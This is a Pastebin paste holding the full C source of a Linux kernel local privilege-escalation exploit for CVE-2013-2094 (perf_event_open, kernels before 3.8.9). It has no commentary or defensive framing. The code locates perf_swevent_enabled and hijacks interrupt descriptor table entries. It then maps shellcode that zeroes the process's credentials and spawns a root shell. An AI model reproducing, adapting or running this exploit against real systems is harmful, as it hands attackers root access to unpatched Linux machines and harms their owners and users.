Advertisement
Spider64

Linux exploit - June 2013

Sep 19th, 2013
230
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.32 KB | None | 0 0
  1. /*
  2. * CVE-2013-2094 exploit x86_64 Linux < 3.8.9
  3. * by sorbo (sorbo@darkircop.org) June 2013
  4. *
  5. * Based on sd's exploit. Supports more targets.
  6. *
  7. */
  8.  
  9. #define _GNU_SOURCE
  10. #include <string.h>
  11. #include <stdio.h>
  12. #include <unistd.h>
  13. #include <stdlib.h>
  14. #include <stdint.h>
  15. #include <sys/syscall.h>
  16. #include <sys/mman.h>
  17. #include <linux/perf_event.h>
  18. #include <signal.h>
  19. #include <assert.h>
  20.  
  21. #define BASE 0x380000000
  22. #define BASE_JUMP 0x1780000000
  23. #define SIZE 0x10000000
  24. #define KSIZE 0x2000000
  25.  
  26. #define TMP(x) (0xdeadbeef + (x))
  27.  
  28. struct idt {
  29. uint16_t limit;
  30. uint64_t addr;
  31. } __attribute__((packed));
  32.  
  33. static int _fd;
  34.  
  35. static int perf_open(uint64_t off)
  36. {
  37. struct perf_event_attr attr;
  38. int rc;
  39.  
  40. // printf("perf open %lx [%d]\n", off, (int) off);
  41.  
  42. memset(&attr, 0, sizeof(attr));
  43.  
  44. attr.type = PERF_TYPE_SOFTWARE;
  45. attr.size = sizeof(attr);
  46. attr.config = off;
  47. attr.mmap = 1;
  48. attr.comm = 1;
  49. attr.exclude_kernel = 1;
  50.  
  51. rc = syscall(SYS_perf_event_open, &attr, 0, -1, -1, 0);
  52.  
  53. return rc;
  54. }
  55.  
  56. void __sc_start(void);
  57. void __sc_next(void);
  58.  
  59. void __sc(void)
  60. {
  61. asm("__sc_start:\n"
  62. "call __sc_next\n"
  63. "iretq\n"
  64. "__sc_next:\n");
  65. }
  66.  
  67. void sc(void)
  68. {
  69. int i, j;
  70. uint8_t *current = *(uint8_t **)(((uint64_t) &i) & (-8192));
  71. uint64_t kbase = ((uint64_t)current) >> 36;
  72. int uid = TMP(1);
  73. int gid = TMP(2);
  74.  
  75. for (i = 0; i < 4000; i += 4) {
  76. uint64_t *p = (void *) ¤t[i];
  77. uint32_t *cred = (uint32_t*) p[0];
  78.  
  79. if ((p[0] != p[1]) || ((p[0]>>36) != kbase))
  80. continue;
  81.  
  82. for (j = 0; j < 20; j++) {
  83. if (cred[j] == uid && cred[j + 1] == gid) {
  84. for (i = 0; i < 8; i++) {
  85. cred[j + i] = 0;
  86. return;
  87. }
  88. }
  89. }
  90. }
  91. }
  92.  
  93. static void sc_replace(uint8_t *sc, uint32_t needle, uint32_t val)
  94. {
  95. void *p;
  96.  
  97. p = memmem(sc, 900, &needle, sizeof(needle));
  98. if (!p)
  99. errx(1, "can't find %x", needle);
  100.  
  101. memcpy(p, &val, sizeof(val));
  102. }
  103.  
  104. static void *map_mem(uint64_t addr)
  105. {
  106. void *p;
  107.  
  108. p = mmap((void*) addr, SIZE, PROT_READ | PROT_WRITE,
  109. MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, -1, 0);
  110.  
  111. if (p == MAP_FAILED)
  112. err(1, "mmap()");
  113.  
  114. return p;
  115. }
  116.  
  117. static int find_mem(void *mem, uint8_t c)
  118. {
  119. int i;
  120. uint8_t *p = mem;
  121.  
  122. for (i = 0; i < SIZE; i++) {
  123. if (p[i] == c)
  124. return i;
  125. }
  126.  
  127. return -1;
  128. }
  129.  
  130. static void dropshell()
  131. {
  132. if (setuid(0) != 0)
  133. errx(1, "failed");
  134.  
  135. printf("Launching shell\n");
  136.  
  137. execl("/bin/sh", "sh", NULL);
  138. exit(0);
  139. }
  140.  
  141. void morte(int x)
  142. {
  143. printf("Got signal\n");
  144. close(_fd);
  145. dropshell();
  146. }
  147.  
  148. static void trigger(int intr)
  149. {
  150. switch (intr) {
  151. case 0:
  152. do {
  153. int z = 1;
  154. int a = 1;
  155.  
  156. z--;
  157.  
  158. a /= z;
  159. } while (0);
  160. break;
  161.  
  162. case 4:
  163. asm("int $4");
  164. break;
  165.  
  166. case 0x80:
  167. asm("int $0x80");
  168. break;
  169.  
  170. default:
  171. errx(1, "unknown intr %d", intr);
  172. }
  173.  
  174. sleep(3);
  175. }
  176.  
  177. int main(int argc, char *argv[])
  178. {
  179. uint32_t *p[2];
  180. int fd, i;
  181. uint64_t off;
  182. uint64_t addr = BASE;
  183. struct idt idt;
  184. uint8_t *kbase;
  185. int sz = 4;
  186. int intr = 4;
  187.  
  188. printf("Searchin...\n");
  189.  
  190. p[0] = map_mem(BASE);
  191. p[1] = map_mem(BASE_JUMP);
  192.  
  193. memset(p[1], 0x69, SIZE);
  194.  
  195. off = 0xFFFFFFFFL;
  196. fd = perf_open(off);
  197. close(fd);
  198.  
  199. i = find_mem(p[0], 0xff);
  200. if (i == -1) {
  201. i = find_mem(p[1], 0x68);
  202.  
  203. if (i == -1)
  204. errx(1, "Can't find overwrite");
  205.  
  206. sz = 24;
  207. addr = BASE_JUMP;
  208. printf("detected CONFIG_JUMP_LABEL\n");
  209. }
  210.  
  211. munmap(p[0], SIZE);
  212. munmap(p[1], SIZE);
  213.  
  214. addr += i;
  215. addr -= off * sz;
  216.  
  217. printf("perf_swevent_enabled is at 0x%lx\n", addr);
  218.  
  219. asm("sidt %0" : "=m" (idt));
  220.  
  221. printf("IDT at 0x%lx\n", idt.addr);
  222.  
  223. off = addr - idt.addr;
  224. off -= 8;
  225.  
  226. switch (off % sz) {
  227. case 0:
  228. intr = 0;
  229. break;
  230.  
  231. case 8:
  232. intr = 0x80;
  233. break;
  234.  
  235. case 16:
  236. intr = 4;
  237. break;
  238.  
  239. default:
  240. errx(1, "remainder %d", off % sz);
  241. }
  242.  
  243. printf("Using interrupt %d\n", intr);
  244.  
  245. off -= 16 * intr;
  246.  
  247. assert((off % sz) == 0);
  248.  
  249. off /= sz;
  250. off = -off;
  251.  
  252. // printf("Offset %lx\n", off);
  253.  
  254. kbase = (uint8_t*) (idt.addr & 0xFF000000);
  255.  
  256. printf("Shellcode at %p\n", kbase);
  257.  
  258. if (mmap(kbase, KSIZE, PROT_READ | PROT_WRITE | PROT_EXEC,
  259. MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0) == MAP_FAILED)
  260. err(1, "mmap()");
  261.  
  262. memset(kbase, 0x90, KSIZE);
  263. kbase += KSIZE - 1024;
  264.  
  265. i = __sc_next - __sc_start;
  266. memcpy(kbase, __sc_start, i);
  267. kbase += i;
  268. memcpy(kbase, sc, 900);
  269.  
  270. sc_replace(kbase, TMP(1), getuid());
  271. sc_replace(kbase, TMP(2), getgid());
  272.  
  273. signal(SIGALRM, morte);
  274. alarm(2);
  275.  
  276. printf("Triggering sploit\n");
  277. _fd = perf_open(off);
  278.  
  279. trigger(intr);
  280.  
  281. exit(0);
  282. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement